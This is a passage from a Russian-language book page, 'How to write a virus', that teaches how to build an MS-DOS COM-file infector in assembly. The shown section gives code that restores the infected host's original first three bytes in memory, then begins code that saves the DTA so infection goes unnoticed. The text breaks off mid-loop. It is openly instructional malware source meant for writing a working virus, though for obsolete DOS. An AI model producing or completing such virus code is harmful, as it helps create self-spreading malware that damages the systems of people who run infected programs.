"Игорь Коваль. Как написать вирус" - читать интересную книгу автора


Как было указано в 1.3 ( п.1 ), вирус должен пос-
ле запуска зараженной программы восстановить в па-
мяти компьютера ее исходные три байтa ( не на дис-
ке, а только в памяти ! ) .Пусть вирус хранит ис-
ходные три байта в области "old_bytes".
Итак :

fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al

Вы конечно знаете,что в COM - программе при ее за-
грузке по адресу CS : 100h всегда находится первая
исполняемая команда .В остальном работа фрагмента
ясна .


1.8 Запоминаем содержимое DTA

Data Transfer Arrea ( DTA ) является одной из слу-
жебных структур MS DOS . Эта область находится в
PSP по смещению 80h, и активно используется пос-
ледней при работе с файлами .Например,многие функ-
ции MS DOS обращаются к DTA для чтения или моди-
фикации ее содержимого.Поскольку DOS строит PSP
для каждой вновь запускаемой программы, для каждой
из них создается и своя DTA .
Так как наш вирус будет использовать при заражении
и поиске файлов функции DOS,содержимое DTA зараже-
нной программы будет испорчено, и она, скорее все-
го, не будет нормально работать.Поэтому содержимое
DTA необходимо сохранить. Для этой цели выделим
массив из 128 байт с именем "old_dta":

mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];Читаем из DTA
;байт и перено-
mov ds:[si],al ;сим его в мас-
;сив ...
inc bx ;К новому байту
inc si ;